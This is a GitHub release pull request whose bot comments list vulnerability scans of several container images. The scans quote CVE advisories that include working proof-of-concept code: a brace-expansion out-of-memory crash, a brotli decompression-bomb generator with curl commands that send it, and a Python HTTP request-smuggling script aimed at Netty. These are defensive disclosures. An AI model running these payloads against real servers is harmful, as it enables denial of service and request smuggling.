Skip to content

Release: v1.6.36 - #544

Merged
Lomilar merged 3 commits into
1.6from
release/draft-1.6-1785253074
Jul 30, 2026
Merged

Release: v1.6.36#544
Lomilar merged 3 commits into
1.6from
release/draft-1.6-1785253074

Conversation

@github-actions

Copy link
Copy Markdown

Automated release PR bumping the version and generating dependency updates. Review the changes and merge this PR into the major/minor target branch when you are ready to publish the Docker images.

@github-actions

github-actions Bot commented Jul 28, 2026

Copy link
Copy Markdown
Author

⚠️ Deprecation Warning: The deny-licenses option is deprecated for possible removal in the next major release. For more information, see issue 997.

Dependency Review

✅ No vulnerabilities or license issues or OpenSSF Scorecard issues found.

Scanned Files

None

@github-actions

github-actions Bot commented Jul 28, 2026

Copy link
Copy Markdown
Author

🔍 Vulnerabilities of cass-cass:latest

📦 Image Reference cass-cass:latest
digestsha256:34dedb1c2a9eddf21b52a4a84d8f613001c60352da3844d2b7b8e09b04768bd8
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size268 MB
packages601
📦 Base Image node:24-bookworm-slim
also known as
  • 24-slim
  • 24.18-bookworm-slim
  • 24.18-slim
  • 24.18.0-bookworm-slim
  • 24.18.0-slim
  • krypton-bookworm-slim
  • krypton-slim
  • lts-bookworm-slim
  • lts-slim
digestsha256:d45d78e7929b46875bbd4e29bea672d5bc48186c6c3588306521c815e78352d6
vulnerabilitiescritical: 2 high: 6 medium: 8 low: 31 unspecified: 7
critical: 1 high: 2 medium: 0 low: 0 perl 5.36.0-7+deb12u3 (deb)

pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?os_distro=bookworm&os_name=debian&os_version=12

critical : CVE--2026--12087

Affected range>0
Fixed versionNot Fixed
EPSS Score0.389%
EPSS Percentile32nd percentile
Description

Socket versions before 2.041 for Perl have an out-of-bounds heap read. In Socket.xs, pack_ip_mreq_source() checks the length of its source argument before the argument is read, so the check tests the byte length carried over from the preceding multiaddr argument instead. Both addresses occupy a 4-byte field, so a valid multiaddr lets a source of any length pass the check, and the source is then copied into the 4-byte imr_sourceaddr field with a fixed-size copy. A source shorter than 4 bytes is not rejected, and the copy reads up to 3 bytes past the end of its buffer. Calling pack_ip_mreq_source() with a source value shorter than 4 bytes copies adjacent heap memory into the returned packed structure.


high : CVE--2026--48959

Affected range>0
Fixed versionNot Fixed
EPSS Score0.373%
EPSS Percentile30th percentile
Description

IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward. fastForward() compares length $offset (the digit count of the offset, 1 to 19) against the chunk size $c instead of $offset itself, so $c shrinks from 16 KiB to 1-19 bytes per iteration. Extracting a named entry from an attacker supplied zip via IO::Uncompress::Unzip->new($zip, Name => $target) drives a per-byte read loop scaling with the entry's compressed size, up to the non-Zip64 4 GiB cap.


high : CVE--2026--48962

Affected range>0
Fixed versionNot Fixed
EPSS Score0.292%
EPSS Percentile21st percentile
Description

IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob. _parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl. Arbitrary Perl in the output glob executes at the calling process's privilege.


critical: 0 high: 1 medium: 0 low: 0 brace-expansion 5.0.7 (npm)

pkg:npm/brace-expansion@5.0.7

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range<=5.0.7
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile26th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

@github-actions

github-actions Bot commented Jul 28, 2026

Copy link
Copy Markdown
Author

🔍 Vulnerabilities of cass-cass-alpine:latest

📦 Image Reference cass-cass-alpine:latest
digestsha256:d9982453a496be714870cfa3325c76bc782feddea3c58f4fd10de84a2a05cffd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
platformlinux/amd64
size227 MB
packages493
📦 Base Image node:24-alpine
also known as
  • 24-alpine3.24
  • 24.18-alpine
  • 24.18-alpine3.24
  • 24.18.0-alpine
  • 24.18.0-alpine3.24
  • krypton-alpine
  • krypton-alpine3.24
  • lts-alpine
  • lts-alpine3.24
digestsha256:4ba75f835bb8802193e4c114572113d4b26f95f6f094f4b5229d2a77773e0afc
vulnerabilitiescritical: 1 high: 4 medium: 5 low: 2
critical: 0 high: 1 medium: 0 low: 0 brace-expansion 5.0.7 (npm)

pkg:npm/brace-expansion@5.0.7

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range<=5.0.7
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile26th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

@github-actions

github-actions Bot commented Jul 28, 2026

Copy link
Copy Markdown
Author

🔍 Vulnerabilities of cass-cass-distroless:latest

📦 Image Reference cass-cass-distroless:latest
digestsha256:680223c882f35aded5673983402d3246f5bee0d2c93d05a5cdb29e18bfec969f
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
platformlinux/amd64
size103 MB
packages486
📦 Base Image gcr.io/distroless/cc-debian13:latest
digestsha256:053b9adbc028d9c3ad170973748a22bb23863c828d21029369c8ff641a5c5f42
vulnerabilitiescritical: 0 high: 0 medium: 0 low: 0
critical: 0 high: 1 medium: 0 low: 0 brace-expansion 5.0.7 (npm)

pkg:npm/brace-expansion@5.0.7

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range<=5.0.7
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile26th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

@github-actions

github-actions Bot commented Jul 28, 2026

Copy link
Copy Markdown
Author

🔍 Vulnerabilities of cass-cass-standalone:latest

📦 Image Reference cass-cass-standalone:latest
digestsha256:1410bc5e50cba2ce4f0c08597341ac93e96ebb3c8855f0742f2f26477f3c416f
vulnerabilitiescritical: 1 high: 21 medium: 0 low: 0
platformlinux/amd64
size1.1 GB
packages1178
📦 Base Image ubuntu:24.04
also known as
  • latest
  • noble
digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
vulnerabilitiescritical: 0 high: 1 medium: 40 low: 19
critical: 1 high: 0 medium: 0 low: 0 org.bouncycastle/bcprov-jdk18on 1.79 (maven)

pkg:maven/org.bouncycastle/bcprov-jdk18on@1.79

critical 9.3: CVE--2025--14813 Reusing a Nonce, Key Pair in Encryption

Affected range>=1.59
<=1.80.1
Fixed version1.80.2
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/RE:M/U:Red
EPSS Score0.313%
EPSS Percentile24th percentile
Description

The GOST 28147-2015 CTR mode implementation (G3413CTRBlockCipher) in the Legion of the Bouncy Castle BC-JAVA bcprov core module only increments the final byte of the counter, so the counter wraps after 255 blocks and the keystream is reused. Reusing CTR keystream allows an attacker who can observe two ciphertexts produced with the same key/IV to recover the XOR of the plaintexts, breaking confidentiality. Affects BC-JAVA from 1.59 before 1.84 (with backported fixes in 1.80.2 and 1.81.1).

critical: 0 high: 6 medium: 0 low: 0 io.netty/netty-codec-http 4.1.130.Final (maven)

pkg:maven/io.netty/netty-codec-http@4.1.130.Final

high 8.7: CVE--2026--56745 Uncontrolled Resource Consumption

Affected range>=4.1.0.Final
<=4.1.135.Final
Fixed version4.1.136.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.502%
EPSS Percentile40th percentile
Description

The SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYN_STREAM frame with FLAG_FIN=0, storing the partially-constructed FullHttpRequest in an internal map (messageMap) to accumulate subsequent DATA frames. When the remote peer sends an RST_STREAM for that stream, or when the accumulated content exceeds maxContentLength, the decoder removes the entry from the map but never releases the pooled ByteBuf, permanently leaking the allocated memory.

high 7.5: CVE--2026--55833 Uncontrolled Resource Consumption

Affected range>=4.1.0.Final
<=4.1.135.Final
Fixed version4.1.136.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.423%
EPSS Percentile35th percentile
Description

Summary

Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.

PoC

poc.zip

run with:

bash ./poc/run.sh

expected output:

NETTY_SPDY_ZLIB_DECODED_AFTER_LIMIT_TRIGGERED compressed_bytes=12253 declared_name_length=12582912 max_header_size=16 truncated=true invalid=false

The fingerprint means the compressed input was fully consumed while the raw header parser ended with truncated=true and invalid=false after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.

Impact

A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.

high 7.5: CVE--2026--55831 Uncontrolled Resource Consumption

Affected range>=4.1.0.Final
<=4.1.135.Final
Fixed version4.1.136.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.423%
EPSS Percentile35th percentile
Description

Summary

Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in DefaultSpdySettingsFrame without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.

Details

Inbound SPDY bytes enter SpdyFrameCodec.decode() and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only length >= 4. For SETTINGS payloads, it reads the peer-controlled numSettings field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into spdySettingsFrame.setValue(). The sink is DefaultSpdySettingsFrame: it backs settings with a TreeMap, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new Setting for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.

PoC

poc.zip

run with

bash ./poc/run.sh

expected output:

NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144

The NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The wire_bytes=2097164, first_value=1, and last_value=262144 fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.

Impact

remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing SpdyFrameCodec can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of 4 + numSettings * 8, and IDs within the accepted 24-bit range; the verified PoC uses numSettings=262144 and wire_bytes=2097164. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed DefaultSpdySettingsFrame, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.

high 7.5: CVE--2026--42587 Uncontrolled Resource Consumption

Affected range<=4.1.132.Final
Fixed version4.1.133.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.990%
EPSS Percentile59th percentile
Description

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.

The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.

For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

For brotli, zstd, and snappy, the decoders are created without any size limit:

// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())

// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())

// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.

ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.

The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

  1. Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max
  1. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024)  # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
    f.write(compressed)
# compressed size: ~1KB
  1. Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: gzip' \
  --data-binary @<!-- -->bomb.gz
# Result: DecompressionException thrown at 1MB
  1. Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: br' \
  --data-binary @<!-- -->bomb.br
# Result: Full 1GB decompressed into memory → OOM
  1. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

  • Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding.
  • False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.
  • Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely.
  • Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).

Recommended Fix

Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:

HttpContentDecompressor.java — pass maxAllocation to all decoders:

// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))

// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))

// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))

DelegatingDecompressorFrameListener.java — same fix at lines 188-210.

BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.

SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.

ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).

high 7.5: CVE--2026--33870 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.640%
EPSS Percentile47th percentile
Description

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser Request 1 Request 2
Netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED)
RFC-compliant parser 400 Bad Request (none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

high 7.3: CVE--2026--42584 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<=4.1.132.Final
Fixed version4.1.133.Final
CVSS Score7.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.750%
EPSS Percentile51st percentile
Description

Summary

If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.

Details

HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.

Prerequisites

